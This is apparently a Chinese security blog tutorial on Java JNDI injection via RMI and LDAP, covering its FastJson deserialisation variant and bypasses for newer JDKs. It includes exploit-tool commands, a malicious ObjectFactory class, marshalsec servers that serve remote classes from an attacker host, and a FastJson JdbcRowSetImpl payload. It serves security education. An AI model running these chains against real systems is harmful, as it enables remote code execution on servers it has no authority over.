【JavaEE安全】JNDI 注入从原理到实战:RMI、LDAP 与高版本绕过

警告:以下内容仅用于安全研究与授权测试,未经许可的攻击行为属于违法行为。


一、JNDI 注入核心原理

1.1 什么是 JNDI

JNDI(Java Naming and Directory Interface)是 Java 提供的一套统一 API,用于在命名/目录服务(如 RMI、LDAP、DNS 等)中查找和访问资源。它的核心操作是 InitialContext.lookup(String name),通过一个字符串名称来定位对象。

1.2 什么是 JNDI 注入

当应用程序对传入 lookup()name 参数缺乏严格校验时,攻击者可以构造恶意的 JNDI 引用(如 rmi://attacker.com/evilldap://attacker.com/evil),诱使目标服务器从攻击者控制的服务器上加载并执行恶意类,从而实现远程代码执行(RCE)。

1.3 利用条件

  • 可控参数InitialContext.lookup() 的参数可被用户输入控制。
  • 服务支持:目标环境支持 RMI、LDAP 等 JNDI 服务实现。
  • 版本限制:JDK 版本限制了攻击方式,详见后文"高版本绕过"。

二、JNDI 注入利用方式:RMI & LDAP

2.1 核心机制:Reference 与远程类加载

JNDI 的 Reference 类是实现注入的关键,它包含三个核心属性:

  • className:要加载的类名。
  • classFactory:实例化工厂类名。
  • classFactoryLocation:远程类的下载地址(如 HTTP 服务器)。

当目标服务器执行 lookup() 时,会根据 Reference 的信息,从指定地址下载并实例化恶意类。

2.2 利用工具:JNDI-Injection & marshalsec

2.2.1 JNDI-Injection-Exploit

快速生成恶意 JNDI 地址,直接执行系统命令。

bash 复制代码
# 生成 RMI/LDAP 恶意地址,执行 calc.exe
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A <ATTACKER_IP>

输出示例:

复制代码
[+] LDAP URL: ldap://<ATTACKER_IP>:1389/xxxxxx
[+] RMI URL:  rmi://<ATTACKER_IP>:1099/xxxxxx
2.2.2 marshalsec

更灵活的工具,可启动恶意 RMI/LDAP 引用服务器,引导目标下载自定义恶意类。

  1. 编写恶意类

    java 复制代码
    // Evil.java
    public class Evil implements javax.naming.spi.ObjectFactory {
        public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
            Runtime.getRuntime().exec("calc");
            return null;
        }
    }
  2. 编译

    bash 复制代码
    javac Evil.java
  3. 启动恶意 LDAP 服务器

    bash 复制代码
    # 引导目标从 http://ATTACKER_IP/ 下载 Evil.class
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://<ATTACKER_IP>/#Evil"
  4. 启动恶意 RMI 服务器

    bash 复制代码
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://<ATTACKER_IP>/#Evil"
  5. 触发注入

    java 复制代码
    // 目标代码中存在可控的 lookup 调用
    new InitialContext().lookup("ldap://<ATTACKER_IP>:1389/Evil");

三、实战案例:与 FastJson 反序列化结合

3.1 漏洞原理

FastJson 在反序列化时,会根据 JSON 中的 @type 字段实例化对应类。当 @type 指向 com.sun.rowset.JdbcRowSetImpl 时,其 setDataSourceName() 方法会调用 InitialContext.lookup(),从而触发 JNDI 注入。

3.2 攻击步骤

  1. 判断环境:构造畸形 JSON 触发报错,确认 FastJson 版本及是否存在反序列化漏洞。

  2. 生成恶意地址:使用 JNDI-Injection-Exploit 生成 RMI 地址。

  3. 构造 Payload

    json 复制代码
    {
        "@type": "com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName": "rmi://<ATTACKER_IP>:1099/Evil",
        "autoCommit": true
    }
  4. 提交 Payload:将 JSON 数据提交至目标,触发反序列化与 JNDI 注入,执行代码。


四、JDK 高版本注入绕过

4.1 JDK 版本限制

JDK 版本 限制项 影响
6u45, 7u21+ useCodebaseOnly=true RMI 禁用远程类加载
6u132, 7u122, 8u113+ trustURLCodebase=false RMI/CORBA 禁用远程 Codebase
6u211, 7u201, 8u191+ ldap.object.trustURLCodebase=false LDAP 禁用远程 Codebase

4.2 绕过思路

在高版本 JDK 中,直接远程加载类的方式被封堵,绕过方法主要有:

  1. 利用本地 Classpath 中的可利用类

    寻找目标环境 Classpath 中已存在的、可被利用的类(如 org.apache.naming.factory.BeanFactory),通过 Reference 构造调用链,间接执行代码。

  2. 利用 LDAP 序列化对象

    marshalsec 等工具支持在 LDAP 响应中直接返回序列化对象。如果目标服务器存在反序列化漏洞(如 Commons Collections),则可以通过 LDAP 注入触发反序列化 RCE,无需远程加载类。

    bash 复制代码
    # marshalsec 启动 LDAP 服务器,直接返回序列化 payload
    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPServer

五、总结与延伸

JNDI 注入作为 Java 生态中经典的 RCE 利用链,其核心在于利用 lookup() 对恶意引用的解析。从早期的 RMI/LDAP 远程类加载,到与 FastJson 等反序列化漏洞的结合,再到针对高版本 JDK 的绕过技术,其利用方式不断演进。深入理解其原理和绕过技巧,是掌握 Java 安全攻防的关键。

参考链接


相关推荐
Xudde.4 小时前
班级作业笔记报告0x04
笔记·学习·安全·web安全·php
极梦网络无忧5 小时前
OpenClaw 基础使用说明(中文版)
python
codeJinger5 小时前
【Python】操作Excel文件
python·excel
XLYcmy6 小时前
一个针对医疗RAG系统的数据窃取攻击工具
python·网络安全·ai·llm·agent·rag·ai安全
Islucas6 小时前
Claude code入门保姆级教程
python·bash·claude
萝卜白菜。7 小时前
TongWeb7.0相同的类指明加载顺序
开发语言·python·pycharm
赵钰老师7 小时前
【ADCIRC】基于“python+”潮汐、风驱动循环、风暴潮等海洋水动力模拟实践技术应用
python·信息可视化·数据分析
爬山算法7 小时前
MongoDB(80)如何在MongoDB中使用多文档事务?
数据库·python·mongodb
YuanDaima20487 小时前
基于 LangChain 1.0 的检索增强生成(RAG)实战
人工智能·笔记·python·langchain·个人开发·langgraph